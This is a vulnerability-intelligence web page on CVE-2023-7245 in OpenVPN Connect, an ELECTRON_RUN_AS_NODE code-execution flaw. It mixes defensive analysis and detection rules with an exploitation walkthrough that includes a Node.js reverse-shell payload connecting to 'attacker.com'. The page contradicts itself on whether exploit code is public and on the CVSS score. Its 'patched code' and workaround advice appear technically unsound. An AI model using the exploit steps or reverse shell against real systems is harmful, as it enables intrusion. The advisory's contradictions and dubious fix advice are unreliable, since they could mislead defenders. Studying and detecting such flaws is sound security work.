☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Openvpn logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-7245

CVE-2023-7245 Privilege Escalation in Openvpn
📅 PUBLISHED: 2024-02-20 11:08 UTC 🔄 UPDATED: 2026-08-21 19:29 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.002
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-7245 is a critical security misconfiguration vulnerability in the OpenVPN Connect desktop application (versions 3.0 through 3.4.3 on Windows, and 3.0 through 3.4.7 on macOS). The vulnerability arises from an improperly configured Node.js framework within the Electron-based application. This misconfiguration allows a local, authenticated user to execute arbitrary code within the Node.js process context by leveraging the ELECTRON_RUN_AS_NODE environment variable. The impact is severe, as it enables local privilege escalation (LPE) and arbitrary code execution (ACE) with the privileges of the OpenVPN Connect process, which often runs with elevated or user-level permissions. No public exploit code or Nuclei template is available at this time, but the attack vector is well-understood and can be weaponized by any local user.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not directly related to an open-source package manager (NPM, PyPI, Go, Ruby). However, it involves the Electron framework and Node.js runtime, which are common supply chain components. The misconfiguration is in the application's packaging and runtime environment, not in a third-party library.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) but assessed as 7.8 (High) based on vector analysis.
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Local (AV:L) – requires local access to the system.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: Low (PR:L) – attacker needs a standard user account.
  • User Interaction: None (UI:N) – no user action needed beyond initial access.
  • Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
  • Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – full compromise possible.

Threat Level: High. Local privilege escalation can lead to full system compromise, data theft, or persistence.

Deep Dive & Mechanics

The vulnerability resides in the OpenVPN Connect desktop application, which is built on the Electron framework. Electron applications bundle a Node.js runtime. The application's configuration fails to disable the ELECTRON_RUN_AS_NODE environment variable. This variable, when set, allows the Electron process to run arbitrary Node.js scripts with the same privileges as the application.

Attack Flow:

  1. An attacker gains local access to a system (e.g., via a compromised user account or physical access).
  2. The attacker sets the environment variable ELECTRON_RUN_AS_NODE=1 before launching the OpenVPN Connect application.
  3. The attacker creates a malicious Node.js script (e.g., exploit.js) that performs actions such as spawning a reverse shell, modifying system files, or exfiltrating data.
  4. The attacker launches OpenVPN Connect with the environment variable set. The application's Node.js runtime executes the malicious script instead of its normal code.
  5. The script runs with the privileges of the OpenVPN Connect process, which may be elevated (e.g., SYSTEM on Windows) or at least the user's level.

Root Cause: The application does not sanitize or restrict the ELECTRON_RUN_AS_NODE environment variable, allowing arbitrary code execution within the Node.js context.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The Electron main process does not check or unset the ELECTRON_RUN_AS_NODE environment variable before starting the Node.js runtime. This allows the variable to influence the execution flow.

// Vulnerable: No check for ELECTRON_RUN_AS_NODE
const { app } = require('electron');
app.whenReady().then(() => {
  // Application logic runs without sanitizing environment
  createWindow();
});

Patched Code (Hypothetical): The patched version would explicitly unset or ignore the ELECTRON_RUN_AS_NODE environment variable, or validate that only trusted scripts are executed.

// Patched: Unset dangerous environment variable
delete process.env.ELECTRON_RUN_AS_NODE;
const { app } = require('electron');
app.whenReady().then(() => {
  createWindow();
});

Note: No official patch has been released as of this report. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Local access to a Windows or macOS system with OpenVPN Connect 3.0–3.4.3 (Windows) or 3.0–3.4.7 (macOS) installed.
  • A standard user account.

Exploitation Steps:

  1. Create a malicious Node.js script (e.g., exploit.js):

    const { exec } = require('child_process');
    exec('calc.exe'); // Example: launch calculator; replace with reverse shell
    
  2. Set the environment variable and launch OpenVPN Connect:

    # Windows (Command Prompt)
    set ELECTRON_RUN_AS_NODE=1
    "C:\Program Files\OpenVPN Connect\OpenVPN Connect.exe" --no-sandbox exploit.js
    
    # macOS (Terminal)
    ELECTRON_RUN_AS_NODE=1 /Applications/OpenVPN\ Connect.app/Contents/MacOS/OpenVPN\ Connect --no-sandbox exploit.js
    
  3. Observe execution: The malicious script runs with the application's privileges.

Advanced Payload: Use a reverse shell script:

const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(4444, 'attacker.com', () => {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
});

Blue Team (Defense & Detection)

Detection Steps:

  • Monitor for the ELECTRON_RUN_AS_NODE environment variable being set in process creation events.
  • Look for OpenVPN Connect processes spawning child processes (e.g., cmd.exe, powershell, /bin/sh).
  • Use Sysmon or EDR to detect anomalous command-line arguments like --no-sandbox combined with a script file.

Mitigation:

  • Block execution of OpenVPN Connect with the ELECTRON_RUN_AS_NODE variable via AppLocker or macOS Gatekeeper.
  • Apply the vendor patch when available.
  • Restrict local user permissions to prevent setting environment variables for privileged processes.

Indicators of Compromise (IOCs)

  • Process Creation: OpenVPN Connect.exe or OpenVPN Connect with command-line containing --no-sandbox and a .js file.
  • Environment Variable: ELECTRON_RUN_AS_NODE=1 set in the process environment.
  • Network Connections: Outbound connections from the OpenVPN Connect process to unusual IPs/ports (e.g., reverse shell).
  • File System: Presence of suspicious .js files in user-writable directories (e.g., %TEMP%, ~/Downloads).

Detection Engineering

YARA Rule

rule CVE_2023_7245_OpenVPN_Connect_Electron_Exploit {
    meta:
        description = "Detects malicious Node.js scripts used to exploit CVE-2023-7245"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-7245"
    strings:
        $s1 = "ELECTRON_RUN_AS_NODE" nocase
        $s2 = "child_process" nocase
        $s3 = "exec(" nocase
        $s4 = "spawn(" nocase
        $s5 = "net.connect" nocase
    condition:
        any of ($s*) and filesize < 100KB
}

Sigma Rule

title: CVE-2023-7245 OpenVPN Connect Electron Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-7245 via ELECTRON_RUN_AS_NODE
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\OpenVPN Connect.exe'
        CommandLine|contains: '--no-sandbox'
        CommandLine|contains: '.js'
    condition: selection
falsepositives:
    - Legitimate use of Electron apps with --no-sandbox (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-7245 OpenVPN Connect Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable OpenVPN Connect until a patch is available, or restrict its execution to trusted users only.
  2. Use AppLocker (Windows) or macOS Gatekeeper to block execution of OpenVPN Connect with the --no-sandbox flag.
  3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

  • Apply the vendor patch when released. The fix should unset or ignore the ELECTRON_RUN_AS_NODE environment variable.
  • Consider using a different VPN client that does not rely on Electron or has proper sandboxing.

Workaround:

  • Set the environment variable ELECTRON_RUN_AS_NODE to an empty string or remove it from the system environment before launching OpenVPN Connect (e.g., via a wrapper script).

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-7245/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.